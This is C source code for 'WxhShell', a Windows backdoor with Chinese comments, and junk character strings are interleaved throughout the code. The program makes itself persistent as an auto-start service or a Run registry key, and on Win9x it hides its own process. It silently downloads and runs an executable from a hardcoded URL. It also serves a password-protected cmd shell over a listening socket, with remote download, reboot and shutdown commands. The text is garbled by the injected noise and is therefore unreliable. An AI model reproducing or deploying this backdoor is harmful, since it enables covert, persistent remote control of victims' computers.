|T=T0^ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,\\ba_*z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dyWp'vCQs\ XJ4f;U if (!NtQueryInformationProcess) return 0; v<!S_7h Kk8}m; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lWId
0eNS if(!hProcess) return 0; }R['Zoh4I JkAM:,^( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 13!@LbC LBK{-(% CloseHandle(hProcess); 2@zduL'do_ "17)`Yf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f)/Z7*Z if(hProcess==NULL) return 0; OT])t<TF6 elCYH9W^ HMODULE hMod; !'jq.RawP char procName[255]; ^U_T<x8{ unsigned long cbNeeded; !,[#,oy; (G"'Fb6d if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :x\[aG9 6^"QABc CloseHandle(hProcess); w==BSH[ 4!Js=" if(strstr(procName,"services")) return 1; // 以服务启动 yV{B,T`W PdcIHN return 0; // 注册表启动 A#"Wk]jX } &$~fz":1! C 5.3[ // 主模块 %F>~2g?$ int StartWxhshell(LPSTR lpCmdLine) ii)#(b:V { K|7"YNohfG SOCKET wsl; 15g!Q
*v BOOL val=TRUE; ^Pn|Q'{/p int port=0; O^@8Drgc struct sockaddr_in door; x4'@U< 7s|'NTp if(wscfg.ws_autoins) Install(); b&z#ZY lYx_8x2 port=atoi(lpCmdLine); nj[TTndJt .{1$;K @ if(port<=0) port=wscfg.ws_port; e%\^V\L ~R!1{8HP WSADATA data; @k?vbq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }e[ E v"bWVc~H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]" 'yf;g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q#K{~: door.sin_family = AF_INET; \H] |5fp* door.sin_addr.s_addr = inet_addr("127.0.0.1"); mk>; 3m* door.sin_port = htons(port); d6luksO*9 +Iyyk02V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H%wB8Y
] closesocket(wsl); o7) y~ ke return 1; /7AHd ; } nQF&^1n 11H`WOTQF if(listen(wsl,2) == INVALID_SOCKET) { U%q)T61 closesocket(wsl); 0@ `]m return 1; 0j$\k|xFXZ } *[Hp&6f Wxhshell(wsl); &tyS 6S+ WSACleanup(); [?]N
GTr# ~MG6evm & return 0; O=0p}{3l 22l'kvo4" } F&Md+2 RNT9M:w // 以NT服务方式启动 "- 4|HA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H,7='n7" { ;d?BVe? DWORD status = 0; $@AJg DWORD specificError = 0xfffffff; 0Wr<l%M)+ o|xf2k serviceStatus.dwServiceType = SERVICE_WIN32; (m/:B=K serviceStatus.dwCurrentState = SERVICE_START_PENDING; XcJ5KTn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6{2y$'m8 serviceStatus.dwWin32ExitCode = 0; VfnL-bDGV serviceStatus.dwServiceSpecificExitCode = 0; aBAoSn serviceStatus.dwCheckPoint = 0; \8{SQ% serviceStatus.dwWaitHint = 0; -)A:@+GF iJ>=!Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +t7HlAXB# if (hServiceStatusHandle==0) return; -laH^<jm5 HhbBt'fH status = GetLastError(); $(1t~u<17 if (status!=NO_ERROR) {v"f){ { _}{KS, f]0 serviceStatus.dwCurrentState = SERVICE_STOPPED; l6'KIg serviceStatus.dwCheckPoint = 0; 1mFH7A($ serviceStatus.dwWaitHint = 0; '(]Wtx%9" serviceStatus.dwWin32ExitCode = status; Wv4$Lgr serviceStatus.dwServiceSpecificExitCode = specificError; !r/i<~'Bx SetServiceStatus(hServiceStatusHandle, &serviceStatus); %NLd"SV return; bb_elmb)n } [v1$Lp z~H1f$} serviceStatus.dwCurrentState = SERVICE_RUNNING; 5hE#y]pfN serviceStatus.dwCheckPoint = 0; !)M}(I} serviceStatus.dwWaitHint = 0; pMU\f if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KXWcg#zFY } [}L?EM 0:{W
t // 处理NT服务事件,比如:启动、停止 Bc=(1ty) VOID WINAPI NTServiceHandler(DWORD fdwControl) M+t)#O4 { Zg+.`>z switch(fdwControl) igu1s}F { {4+/0\ case SERVICE_CONTROL_STOP: :!i=g+e] serviceStatus.dwWin32ExitCode = 0; cS.@02~f" serviceStatus.dwCurrentState = SERVICE_STOPPED; 5<Kt"5Z%7 serviceStatus.dwCheckPoint = 0; ?V`-z#y7 serviceStatus.dwWaitHint = 0; 3W'fEh5 { ;MfqI/B{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); |$
PA } < F5VJ return; _a&gbSQv case SERVICE_CONTROL_PAUSE: &v:zS$m> serviceStatus.dwCurrentState = SERVICE_PAUSED; !
fk W;| break; <Sot{_"li case SERVICE_CONTROL_CONTINUE: .-$3I|}X= serviceStatus.dwCurrentState = SERVICE_RUNNING; yzEyOz@Q break; UP#@gxF case SERVICE_CONTROL_INTERROGATE: *zRig|k !H break; shw?_#?1dy }; ?>7\L'n=5I SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0A}XhX } veDv14 zlLZ8b+ // 标准应用程序主函数 3Ei^WDJ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W[jg+| { \O*ZW7?TJ F2YBkwI
// 获取操作系统版本 uGAQt9$>_ OsIsNt=GetOsVer(); Rk9n,"xpv GetModuleFileName(NULL,ExeFile,MAX_PATH); tGOJ4 = bWL!= // 从命令行安装 }P.s if(strpbrk(lpCmdLine,"iI")) Install();
]Zb9F[ yBK$2to~ // 下载执行文件 sm##owI if(wscfg.ws_downexe) {
qiOtbH= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
Y*xgY*K WinExec(wscfg.ws_filenam,SW_HIDE); ,DEq"VW_ } .BxI~d^ <.`i,|?MHS if(!OsIsNt) { 9@1n:X // 如果时win9x,隐藏进程并且设置为注册表启动 J_F\cM HideProc(); E+y_te^+b StartWxhshell(lpCmdLine); p;4FZ$ } |X{j^JP5 else C.4(8~Y=~ if(StartFromService()) K^x{rn.Zf // 以服务方式启动 ;)ay uS sQ StartServiceCtrlDispatcher(DispatchTable); km>ZhsqD else B}qG-}(V // 普通方式启动 :X":>M;;+ StartWxhshell(lpCmdLine); l_k:OZ JQb{?C return 0; f)vnm*&- } sssw(F <=CABWO. 548L^"D !ak760*A =========================================== y ;mk] o0AT&<K NvzPZ9=@- h[!@8 ]9_tto!/ x7B;\D#`i/ " ^vm6JWwN0B ;Q3[} ]su #include <stdio.h> NJJ=ch #include <string.h> )Q9Qo)D T #include <windows.h> _an0G?7 #include <winsock2.h> wMgF* #include <winsvc.h> XFTqt] #include <urlmon.h> U8aVI =XYc2.t #pragma comment (lib, "Ws2_32.lib") 7Z9'Y?[m #pragma comment (lib, "urlmon.lib") ~jJ.E_i ^EN
)}:%Z #define MAX_USER 100 // 最大客户端连接数 ^$dbyj` #define BUF_SOCK 200 // sock buffer 1tO96t^d% #define KEY_BUFF 255 // 输入 buffer ?!m\|'s- ).HA#!SE #define REBOOT 0 // 重启 Xm< _!= #define SHUTDOWN 1 // 关机 W3ms8=z Bi9Q8#lh #define DEF_PORT 5000 // 监听端口 `3? HQ2n 4cy,'B #define REG_LEN 16 // 注册表键长度 byP< !p* #define SVC_LEN 80 // NT服务名长度 Z[&FIG%tV `uLr^G=; // 从dll定义API BT}l" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tf54EIy5Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9:g]DIL typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9%21Q>Y?b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h$sOJs~6h feS$)H9- // wxhshell配置信息 L1+s0g> struct WSCFG { C(h<s
e? int ws_port; // 监听端口 #:[F=2@,A char ws_passstr[REG_LEN]; // 口令 FS)#
v int ws_autoins; // 安装标记, 1=yes 0=no R<I#.
KD char ws_regname[REG_LEN]; // 注册表键名 &=S:I!9;; char ws_svcname[REG_LEN]; // 服务名 $;(@0UDE char ws_svcdisp[SVC_LEN]; // 服务显示名 ]iW:YNvXA char ws_svcdesc[SVC_LEN]; // 服务描述信息 du'`&{_/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GzaGTd.b int ws_downexe; // 下载执行标记, 1=yes 0=no SHSfe{n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]8"U)fzmc. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xR$T/] / AB3OG*C9 }; ~}{_/8'5 SAitufS // default Wxhshell configuration C6F7,v62 struct WSCFG wscfg={DEF_PORT, ~s-gnp "xuhuanlingzhe", CvZ\Z472.j 1, hP'4PLK "Wxhshell", ?zC{T*a "Wxhshell",
SmDNN^GR "WxhShell Service",
w\D
!e "Wrsky Windows CmdShell Service", vw:GNpg'R6 "Please Input Your Password: ", bo DD?0.| 1, }:0ru_F)(4 "http://www.wrsky.com/wxhshell.exe", QL7.QG
"Wxhshell.exe" qs\Cwn! }; (f_YgQEL | @ ut/ // 消息定义模块 [aA@V0l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fwA8=oSZd char *msg_ws_prompt="\n\r? for help\n\r#>"; L58#ri= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lw~
V char *msg_ws_ext="\n\rExit."; Xm|~1 k_3 char *msg_ws_end="\n\rQuit."; j[R.UB3J char *msg_ws_boot="\n\rReboot..."; S[7^#O.) char *msg_ws_poff="\n\rShutdown..."; v,*C>u\3s char *msg_ws_down="\n\rSave to "; g5pFr=NV jTg~]PQ^ char *msg_ws_err="\n\rErr!"; 5_](N$$ char *msg_ws_ok="\n\rOK!"; d^M*%a z !x
~s`z char ExeFile[MAX_PATH]; "P|n'Mx int nUser = 0; M?My+o T HANDLE handles[MAX_USER]; 2z#S|$ int OsIsNt; cNwHY
Z' )qMbk7:v\ SERVICE_STATUS serviceStatus; opm_|0 SERVICE_STATUS_HANDLE hServiceStatusHandle; jDQ ?b\^ -G/qfd|s/ // 函数声明 'nM4t int Install(void); Ye$j43b int Uninstall(void); }@t"B9D int DownloadFile(char *sURL, SOCKET wsh); 5rbb
,* int Boot(int flag); bW!
&n void HideProc(void); YU8]W% int GetOsVer(void); ;/Z-|+!IJt int Wxhshell(SOCKET wsl); |
?vm.zp void TalkWithClient(void *cs); eC%Skw int CmdShell(SOCKET sock); Cy/VH"G= int StartFromService(void); eCsk\f` int StartWxhshell(LPSTR lpCmdLine); vK+reXE A-uIZ
zC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LWTPNp:"{w VOID WINAPI NTServiceHandler( DWORD fdwControl ); z7AWWr=H 8TAJ#Lm // 数据结构和表定义 <B0f SERVICE_TABLE_ENTRY DispatchTable[] = Xj{fM\,"9 { R{bG`C8.d {wscfg.ws_svcname, NTServiceMain}, GrJLQO0$N {NULL, NULL} NZ i3U }; g<;::'6 ,e9M%VIu6[ // 自我安装 IaSpF<&Y; int Install(void) <>{m+=gA { MYjc6@=cR char svExeFile[MAX_PATH]; ojlyW})$% HKEY key; *-5N0K<kQ strcpy(svExeFile,ExeFile); Q0K$ZWM`7 .?QYqGcG // 如果是win9x系统,修改注册表设为自启动 N2'aC}
I if(!OsIsNt) { %>=6v}f,+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P[G>uA>Z1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); # >bj6< RegCloseKey(key); :EQ{7Op` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7_ayn#;y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p)iEwl}!j RegCloseKey(key); 0'Ho'wDb return 0; , p~1fB-/ } `ROHB@- } }]mxKz } Kd^.>T- else { yCN_vrH> :zKMw= // 如果是NT以上系统,安装为系统服务 4L8hn4F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G'G8`1Nj if (schSCManager!=0) /<8y> { X)~wB7_0G SC_HANDLE schService = CreateService 4RtAwB ( 7LrmI~P schSCManager, /qIl)+M wscfg.ws_svcname, rq8 d}wj wscfg.ws_svcdisp, lcm[l SERVICE_ALL_ACCESS, Z#H<+S( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [F-GaaM SERVICE_AUTO_START, ;TWLo_ SERVICE_ERROR_NORMAL, 3rKJ<(-2/ svExeFile, ]'(D*4 NULL, n:`f.jG | NULL, [C0v- NULL, 7LVG0A2>7 NULL, \z0HHCn'" NULL 9K`_P] l2z ); ?BfE*I$\h if (schService!=0) 1\&j)3mC { X@DW1<wEt CloseServiceHandle(schService); 2,q*[Kh1 CloseServiceHandle(schSCManager); 2NMs-Zs strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %k1Pyv;] strcat(svExeFile,wscfg.ws_svcname); u>"0>U
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K$M+"#./ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mvZ#FF1,J RegCloseKey(key); W~ET/h return 0; (n*:LS=0 } p8!T)
?| } A'KH_]) CloseServiceHandle(schSCManager); \|S!g_30m } _/I">/ivlM } P$z_A8} 1Q>nS[ return 1; |sReHt2)d } ;cI*"-I:F \4>,L_O // 自我卸载 =otO@22Np int Uninstall(void) , [|aWT%9 { z6ObX HKEY key; Ck
Nl;g l }<0N)dpT if(!OsIsNt) { ^E.L8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !o /=,ZIx RegDeleteValue(key,wscfg.ws_regname); Eu`|8# [ W RegCloseKey(key); r!2U#rz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IQ
I8v RegDeleteValue(key,wscfg.ws_regname); Zj_2>A RegCloseKey(key); O1z]d3x
return 0; 7pyzPc#_ } !=YKfzE } fu^W# "{ } BHUI1y5t else { A#=TR_@: <:}nd:l1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H3D<"4Q> if (schSCManager!=0) XnQR(r)pR2 { Ku75YFO,5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qcj {rG18 if (schService!=0) Cf2WBX$ { \EySKQ= if(DeleteService(schService)!=0) { C1k< P CloseServiceHandle(schService); =:^aBN# CloseServiceHandle(schSCManager); W[\6h Zv return 0; G@k]rwub } Dw%'u'HG CloseServiceHandle(schService); sE pI)9 } !ajBZ>Q CloseServiceHandle(schSCManager); `5IrV&a } Cq\XLh ` } <(xqw<) y?<KN0j return 1; %y6(+I#P } Qq<@;4 _p-e)J$7 // 从指定url下载文件 &J>e;X int DownloadFile(char *sURL, SOCKET wsh) N*o{BboK; { UZyg_G6 HRESULT hr; @AEH?gOX char seps[]= "/"; |58HPW9 char *token; !ZYPz}&N_ char *file; `x[Is$ char myURL[MAX_PATH]; 6O7s^d&K char myFILE[MAX_PATH]; y7,I10:D =SfNA
F strcpy(myURL,sURL); s<s}6|Z token=strtok(myURL,seps); 8=`L#FkRp while(token!=NULL) ).SJ*Re*^I { [IL*}M! file=token; 0[MYQl` token=strtok(NULL,seps); Jb QK$[z" } ZZY# . ]M7FIDg GetCurrentDirectory(MAX_PATH,myFILE); (~GQncqa strcat(myFILE, "\\"); C^J<qq& strcat(myFILE, file); 1RRE{]2v# send(wsh,myFILE,strlen(myFILE),0); w4U,7%V
send(wsh,"...",3,0); y{%0[x*N<m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wFJf"@/vJ if(hr==S_OK) 7~Y\qJ4b return 0; >h\y1IrAaG else Eomfa:WL return 1; 7D6`1& {&=+lr_h? } 0bTj/0G? s1:Wrz?4 // 系统电源模块 xyp{_ MZ int Boot(int flag) Bf utmI { oac)na:O# HANDLE hToken; *F\wWg'!B TOKEN_PRIVILEGES tkp; n
i#jAwkN5 SqM>xm if(OsIsNt) { 0q}i5%m7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z0,jg)sA4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V}jGxt0 tkp.PrivilegeCount = 1; K*/oWYM] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D*M `qPX~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q|'f3\ if(flag==REBOOT) { J:Cr.K` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4t,
2H" M return 0; aLa<zEssz } n{tc{LII/ else { 0#*6:{/^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OQ-)
4Uk} return 0; !HY^QK } YuK+N } [G<ga80 else { yw^Pok5. if(flag==REBOOT) { n1sYD6u<& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q{[@n return 0; wQhNQ(H~\ } Cj-s else { 7Ak<e tHD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -DI
>O/ return 0; s L^+$Mq6 } d?zSwLsl } g)Lf^ BEDkyz;: return 1; yf&g\ke } O^L]2BVC ;wn9
21r // win9x进程隐藏模块 pY31qhoZ. void HideProc(void) dGUP|O { Sdu\4;( #])"1fk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z`{sD] if ( hKernel != NULL ) `3;EJDEdbi { _Mw3>GNl pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D2$9$xeR ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UB$}`39@ FreeLibrary(hKernel); j-<-!jTd
} ]
ZV[}7I. [`n_> p! return; =U]9> } OX_y"]utU qM\
2f<) // 获取操作系统版本
^^a6 (b int GetOsVer(void) .5|[gBK { ,PeR}E;c OSVERSIONINFO winfo; ~y<0Cc3Vs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); thjr1y.e GetVersionEx(&winfo); Z)@vJZ*7( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) on_h'?2 return 1; 3#7V1 else r2-iISxg+ return 0; nBy-/BU& } 7^eyO&4z JipNI8\r // 客户端句柄模块 %3z[;&*3O int Wxhshell(SOCKET wsl) ^ja]e%w# { .9J^\%JD SOCKET wsh; y``\^F struct sockaddr_in client; UqK.b}s DWORD myID; ]s\r3I] z !K2UTX while(nUser<MAX_USER) 7HPwlS { Y{}
ub]i int nSize=sizeof(client); fn}E1w wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~+Wx\:TT if(wsh==INVALID_SOCKET) return 1; vjEDd`jYZ K~L&Z?~|E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z
RVt2 if(handles[nUser]==0) 'O<b'}-A closesocket(wsh); K#R]of~/ else \{h_i
FU! nUser++; Zbczbnj } &g:( I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kWr1>})' h FU8iB`Q return 0; }-3 VK% } X=QX9Ux?^ 1eI*.pt // 关闭 socket @Jd&[T27Lr void CloseIt(SOCKET wsh) )!8qJQD { '2lV(>" closesocket(wsh); pDS[ecx nUser--; 2yfU]`qN ExitThread(0); lNX*s
E
. } 6z\!lOVjb a 0SZw // 客户端请求句柄 v5[gFY(? void TalkWithClient(void *cs) Vn#}f=u\ { Ed=/w6< \K$\-]N+ SOCKET wsh=(SOCKET)cs; ;\pr05 char pwd[SVC_LEN]; 8m+~HSIR char cmd[KEY_BUFF];
+SFFwjI char chr[1]; F_@B ` , int i,j; e{x>u( b|i4me@ while (nUser < MAX_USER) { =xk>yw!O) FGVw=G{r if(wscfg.ws_passstr) { G&oD;NY@/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m` 1dB%;? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z^9oaoTl //ZeroMemory(pwd,KEY_BUFF); [N,+mX i=0; 7$*E0 while(i<SVC_LEN) { j2G^sj"| ]]|#+$ ~ // 设置超时 y[7M(K fd_set FdRead; ,
z\Qd07u struct timeval TimeOut; ]L3U2H`7 FD_ZERO(&FdRead); WJ8i=MO67 FD_SET(wsh,&FdRead); $%EX~$=m]- TimeOut.tv_sec=8; v!I z&M:z TimeOut.tv_usec=0; 8F[];LF> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CR [>5/:M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'Xik2PaO `l45T~`]$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c/Pql!h+ pwd=chr[0]; []>rYZ9bv if(chr[0]==0xd || chr[0]==0xa) { c/$].VG0 pwd=0; jf)cDj2 break; ^\PRzY } f0P,j~] i++; JSUD$|RiJ } b%lH=u !Q\*a-C // 如果是非法用户,关闭 socket (BY 0b%^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lJ3VMYVrUP } @lB{!j&q A;8kC} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jU-LT8y: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3I 0pHP5 q
4Pv\YO while(1) { / =9Y(v X3sAy(q ZeroMemory(cmd,KEY_BUFF); (Z<@dkO?) <lzC|>BG // 自动支持客户端 telnet标准 OV{v6,>O j=0; :2j`NyLI. while(j<KEY_BUFF) { RQ=rB9~:ZN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U*+-# cmd[j]=chr[0]; 18X?CoM~ if(chr[0]==0xa || chr[0]==0xd) { h1S)B|~8 cmd[j]=0; (?Ko:0+* break; Ucv7`W
gr } h] ho? K j++; ;?u cC@ } pj_W^,*/ @PM<pEve // 下载文件 D2VYw<tEA if(strstr(cmd,"http://")) { |ru!C( send(wsh,msg_ws_down,strlen(msg_ws_down),0); r(Sh if(DownloadFile(cmd,wsh)) eFsl send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8s22VL else '=nmdqP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zWo } z#G\D5yX[* else { XHv
m{z= oL9<Fi switch(cmd[0]) { E 14DZ zwUC
L // 帮助 Mq~E'g4# case '?': { TeuZVy8a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v8F{qT50 break; 62nmm/c } Kz
b-a$ // 安装 ,m*HRUY case 'i': { 9+ Mj$ if(Install()) MP}-7UA#K send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,ZQ*Ju else oaha5aWH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > 3& break; (}F@0WYT^O } r1F5'?NZ(0 // 卸载 G1it
3^*$ case 'r': { a;dWM(;Kw if(Uninstall()) Yt*NIwWr send(wsh,msg_ws_err,strlen(msg_ws_err),0); .@x.
else Z42q}Fhm*R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YKUAI+ks break; 1<~n2} } vE`;1UA} // 显示 wxhshell 所在路径 cFie;k case 'p': { j)G%I y[` char svExeFile[MAX_PATH]; m\*ca3$ strcpy(svExeFile,"\n\r"); bv <^zuV strcat(svExeFile,ExeFile); ?1g`'q@T% send(wsh,svExeFile,strlen(svExeFile),0); o#"yFP1 break; +s_a{iMVP } (]sm9PO // 重启 27R4B
O case 'b': { w*"Ii%iA< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /V0Put if(Boot(REBOOT)) S7J.(;
82 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -N/n|{+F else { SeZ+&d closesocket(wsh); Ho}*Bn~ic ExitThread(0); /T
qbl^[ } }^H(EHE break; 5Bq;Vb } d$o m\@ // 关机 !!A(A^s case 'd': { iLQO
.'{U send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dH0>lV if(Boot(SHUTDOWN)) )/f#~$ws send(wsh,msg_ws_err,strlen(msg_ws_err),0); W|{!0w else { f-^*p closesocket(wsh); Uf_mwEE ExitThread(0); 7#"y mE } Z}zka<y6K6 break; D]d! lMK/ } B^M
L}$ // 获取shell R4)l4rnO case 's': { 6`7`herE} CmdShell(wsh); ph)=:*A6& closesocket(wsh); !1S!)# ExitThread(0); Y#): 1C1 break;
})!- } n9
bp0#K // 退出 G~_eBy case 'x': { >g+Y//Z send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2N-p97"g CloseIt(wsh); \{rhHb\|h break; ku57<kb } 7^)yo#i4 // 离开 s%#u)nw19 case 'q': { 'M?pg$ta_V send(wsh,msg_ws_end,strlen(msg_ws_end),0); U4a8z<l$ closesocket(wsh); kyJKai WSACleanup(); p? +!*BZ exit(1); ZQR)k:k7 break; A$~H`W<yxB } i+Ne.h } q}'<[Wg } @w%kOX _;x` 6LM // 提示信息 aFnyhu&W' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}{]5R } yq2AZ@}" } Tz:,l$ @VND}{j return; !#5y%Bf } &a >UVs?= }f{5-iwD} // shell模块句柄 \ z*<^ONq int CmdShell(SOCKET sock) A[Ce3m { ^}gZ+!kA STARTUPINFO si; ,
P1m# ZeroMemory(&si,sizeof(si)); J| 46i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2c,w
4rK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q^Vch(`&P PROCESS_INFORMATION ProcessInfo; 2nFr?Y3g, char cmdline[]="cmd"; (Q&jp!WU CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J1r\Cp+h0 return 0; q?w%%.9]X } Jn&u |